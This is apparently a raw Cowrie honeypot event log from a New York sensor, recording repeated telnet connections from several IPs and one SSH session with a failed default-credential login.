{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5f8a113ba7","protocol":"telnet","message":"New connection: 62.210.97.77:48816 (10.17.0.5:23) [session: 0c5f8a113ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:04.939396Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f89571cadf4","protocol":"telnet","message":"New connection: 62.210.97.77:48818 (10.17.0.5:23) [session: 7f89571cadf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:05.195358Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eeb6e161a4b","protocol":"telnet","message":"New connection: 165.232.131.181:55492 (10.17.0.5:23) [session: 2eeb6e161a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:07.793362Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"50ae01664ace","protocol":"telnet","message":"New connection: 65.60.27.33:33502 (10.17.0.5:23) [session: 50ae01664ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:08.543473Z"}
{"eventid":"cowrie.session.closed","duration":51.22926044464111,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:09.438033Z","src_ip":"134.209.8.29","session":"acc43984975f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.29373025894165,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:11.204931Z","src_ip":"65.60.27.33","session":"70ee6f5da98f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d307f3bf4397","protocol":"telnet","message":"New connection: 65.60.27.33:37690 (10.17.0.5:23) [session: d307f3bf4397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:12.561089Z"}
{"eventid":"cowrie.session.closed","duration":40.06127572059631,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:12.800628Z","src_ip":"65.60.27.33","session":"d0d285a28a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43852,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d4a6e30cfe","protocol":"telnet","message":"New connection: 62.210.97.77:43852 (10.17.0.5:23) [session: 63d4a6e30cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:13.212872Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57544,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce467034cce2","protocol":"telnet","message":"New connection: 165.232.131.181:57544 (10.17.0.5:23) [session: ce467034cce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:13.427752Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"86244d848b0a","protocol":"telnet","message":"New connection: 65.60.27.33:40232 (10.17.0.5:23) [session: 86244d848b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:14.660919Z"}
{"eventid":"cowrie.session.closed","duration":36.53299856185913,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:15.988021Z","src_ip":"62.210.97.77","session":"3cc780b040a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.804790735244751,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:16.416499Z","src_ip":"143.137.156.209","session":"b8bdf0b667be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37028,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4da6ace6ab7","protocol":"telnet","message":"New connection: 134.209.8.29:37028 (159.203.135.109:23) [session: e4da6ace6ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:18.220204Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5c78633591","protocol":"telnet","message":"New connection: 65.60.27.33:46568 (10.17.0.5:23) [session: ea5c78633591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:20.080912Z"}
{"eventid":"cowrie.session.closed","duration":3.3656985759735107,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:21.585729Z","src_ip":"134.209.8.29","session":"e4da6ace6ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40942,"dst_ip":"10.17.0.5","dst_port":23,"session":"139329cb9d9f","protocol":"telnet","message":"New connection: 62.210.97.77:40942 (10.17.0.5:23) [session: 139329cb9d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:23.528793Z"}
{"eventid":"cowrie.session.closed","duration":44.12935829162598,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:24.217134Z","src_ip":"38.54.119.93","session":"af75665cb95d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.413832902908325,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:24.426191Z","src_ip":"65.60.27.33","session":"1b919af124be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66586256027222,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:24.453760Z","src_ip":"62.210.97.77","session":"ae0dd187fbfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40946,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff7edbae40f","protocol":"telnet","message":"New connection: 62.210.97.77:40946 (10.17.0.5:23) [session: 3ff7edbae40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:24.612837Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb80c9027b08","protocol":"telnet","message":"New connection: 165.232.131.181:33114 (10.17.0.5:23) [session: bb80c9027b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:24.644120Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04bfcaeb2fb","protocol":"telnet","message":"New connection: 38.54.119.93:49288 (10.17.0.5:23) [session: e04bfcaeb2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:25.688914Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40956,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f4e0e5a240","protocol":"telnet","message":"New connection: 62.210.97.77:40956 (10.17.0.5:23) [session: 37f4e0e5a240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:26.396405Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40958,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a91d9098485","protocol":"telnet","message":"New connection: 62.210.97.77:40958 (10.17.0.5:23) [session: 1a91d9098485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:26.564206Z"}
{"eventid":"cowrie.session.closed","duration":44.16638779640198,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:26.794172Z","src_ip":"165.232.131.181","session":"28b7be2549fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35250,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49a30a76927","protocol":"telnet","message":"New connection: 165.232.131.181:35250 (10.17.0.5:23) [session: a49a30a76927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:27.634550Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55110,"dst_ip":"10.17.0.5","dst_port":23,"session":"705be2640b6c","protocol":"telnet","message":"New connection: 65.60.27.33:55110 (10.17.0.5:23) [session: 705be2640b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:27.707482Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"de384281f7ff","protocol":"telnet","message":"New connection: 65.60.27.33:56010 (10.17.0.5:23) [session: de384281f7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:28.338957Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56252,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f9f809a314","protocol":"telnet","message":"New connection: 65.60.27.33:56252 (10.17.0.5:23) [session: 55f9f809a314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:28.587981Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35232,"dst_ip":"10.17.0.5","dst_port":23,"session":"163ef09d3fbd","protocol":"telnet","message":"New connection: 165.232.131.181:35232 (10.17.0.5:23) [session: 163ef09d3fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:28.618044Z"}
{"eventid":"cowrie.session.closed","duration":34.21611404418945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:29.472983Z","src_ip":"62.210.97.77","session":"195438c5e803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35958,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f39a5e8edff","protocol":"telnet","message":"New connection: 165.232.131.181:35958 (10.17.0.5:23) [session: 5f39a5e8edff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:29.745517Z"}
{"eventid":"cowrie.session.closed","duration":6.463695764541626,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:32.152318Z","src_ip":"38.54.119.93","session":"e04bfcaeb2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40662,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8d1423e264","protocol":"telnet","message":"New connection: 62.210.97.77:40662 (10.17.0.5:23) [session: 3c8d1423e264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:32.517701Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40676,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb1409e48a1","protocol":"telnet","message":"New connection: 62.210.97.77:40676 (10.17.0.5:23) [session: 1fb1409e48a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:33.457076Z"}
{"eventid":"cowrie.session.closed","duration":34.16825079917908,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:33.976474Z","src_ip":"62.210.97.77","session":"cd1bd1f81bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40128254890442,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:34.688634Z","src_ip":"62.210.97.77","session":"74cb712b86ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.12978935241699,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:35.398784Z","src_ip":"38.54.119.93","session":"7941fed38107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.952850341796875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:35.986251Z","src_ip":"62.210.97.77","session":"881da806e7d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.99873399734497,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:36.099455Z","src_ip":"165.232.131.181","session":"dee3fc13244e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14613628387451,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:39.609744Z","src_ip":"62.210.97.77","session":"cf59dde0ab9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.159018754959106,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:40.354236Z","src_ip":"62.210.97.77","session":"7f89571cadf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37962,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b627999209","protocol":"telnet","message":"New connection: 165.232.131.181:37962 (10.17.0.5:23) [session: d9b627999209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:40.395236Z"}
{"eventid":"cowrie.session.closed","duration":44.09883689880371,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:40.701624Z","src_ip":"65.60.27.33","session":"c4eb5ddb8667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.06477618217468,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:41.004005Z","src_ip":"62.210.97.77","session":"0c5f8a113ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3112893104553223,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:41.706423Z","src_ip":"165.232.131.181","session":"d9b627999209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41032,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc46814b65c5","protocol":"telnet","message":"New connection: 62.210.97.77:41032 (10.17.0.5:23) [session: bc46814b65c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:42.457590Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60618,"dst_ip":"10.17.0.5","dst_port":23,"session":"732f7978060b","protocol":"telnet","message":"New connection: 38.54.119.93:60618 (10.17.0.5:23) [session: 732f7978060b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:43.452745Z"}
{"eventid":"cowrie.session.closed","duration":32.905092000961304,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:46.118131Z","src_ip":"62.210.97.77","session":"63d4a6e30cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.338077545166016,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:48.690715Z","src_ip":"165.232.131.181","session":"0034ee5f785d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35866,"dst_ip":"10.17.0.5","dst_port":23,"session":"516328779d5d","protocol":"telnet","message":"New connection: 38.54.119.93:35866 (10.17.0.5:23) [session: 516328779d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:48.771857Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45116,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbfba5992619","protocol":"telnet","message":"New connection: 62.210.97.77:45116 (10.17.0.5:23) [session: dbfba5992619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:49.511769Z"}
{"eventid":"cowrie.session.closed","duration":6.5588343143463135,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:50.011436Z","src_ip":"38.54.119.93","session":"732f7978060b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"72dac6929f56","protocol":"telnet","message":"New connection: 62.210.97.77:45120 (10.17.0.5:23) [session: 72dac6929f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:50.114138Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37042,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9e2e3f6d43","protocol":"telnet","message":"New connection: 38.54.119.93:37042 (10.17.0.5:23) [session: 8f9e2e3f6d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:50.312816Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":41890,"dst_ip":"159.203.135.109","dst_port":22,"session":"778a9b9a9427","protocol":"ssh","message":"New connection: 80.94.92.182:41890 (159.203.135.109:22) [session: 778a9b9a9427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:52.335860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:52.630502Z","src_ip":"80.94.92.182","session":"778a9b9a9427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:52.633782Z","src_ip":"80.94.92.182","session":"778a9b9a9427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44552,"dst_ip":"10.17.0.5","dst_port":23,"session":"8949743d8f50","protocol":"telnet","message":"New connection: 165.232.131.181:44552 (10.17.0.5:23) [session: 8949743d8f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:54.209408Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:54.631820Z","src_ip":"80.94.92.182","session":"778a9b9a9427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45078,"dst_ip":"10.17.0.5","dst_port":23,"session":"252e5e70fe83","protocol":"telnet","message":"New connection: 165.232.131.181:45078 (10.17.0.5:23) [session: 252e5e70fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:54.790699Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45122,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c1709c3810","protocol":"telnet","message":"New connection: 62.210.97.77:45122 (10.17.0.5:23) [session: 64c1709c3810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:55.282758Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:55.872421Z","src_ip":"80.94.92.182","session":"778a9b9a9427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.884756088256836,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:56.197457Z","src_ip":"38.54.119.93","session":"8f9e2e3f6d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.892789363861084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:56.421448Z","src_ip":"62.210.97.77","session":"139329cb9d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.681946039199829,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:56.891235Z","src_ip":"165.232.131.181","session":"8949743d8f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.45191717147827,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:57.012895Z","src_ip":"65.60.27.33","session":"d307f3bf4397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b208094415a","protocol":"telnet","message":"New connection: 65.60.27.33:33104 (10.17.0.5:23) [session: 0b208094415a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:57.834754Z"}
{"eventid":"cowrie.session.closed","duration":3.252018928527832,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:58.042628Z","src_ip":"165.232.131.181","session":"252e5e70fe83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.63214659690857,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:58.175540Z","src_ip":"65.60.27.33","session":"50ae01664ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.5200400352478,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:58.180809Z","src_ip":"65.60.27.33","session":"86244d848b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.274637937545776,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:59.702314Z","src_ip":"165.232.131.181","session":"ce467034cce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50032,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df3d6b7c97d","protocol":"telnet","message":"New connection: 62.210.97.77:50032 (10.17.0.5:23) [session: 6df3d6b7c97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:50:00.011144Z"}
{"eventid":"cowrie.session.closed","duration":33.88048553466797,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:50:00.444541Z","src_ip":"62.210.97.77","session":"1a91d9098485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.410918951034546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:50:00.491690Z","src_ip":"65.60.27.33","session":"ea5c78633591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74491333961487,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:50:01.388898Z","src_ip":"165.232.131.181","session":"bb80c9027b08","protocol":"telnet"}
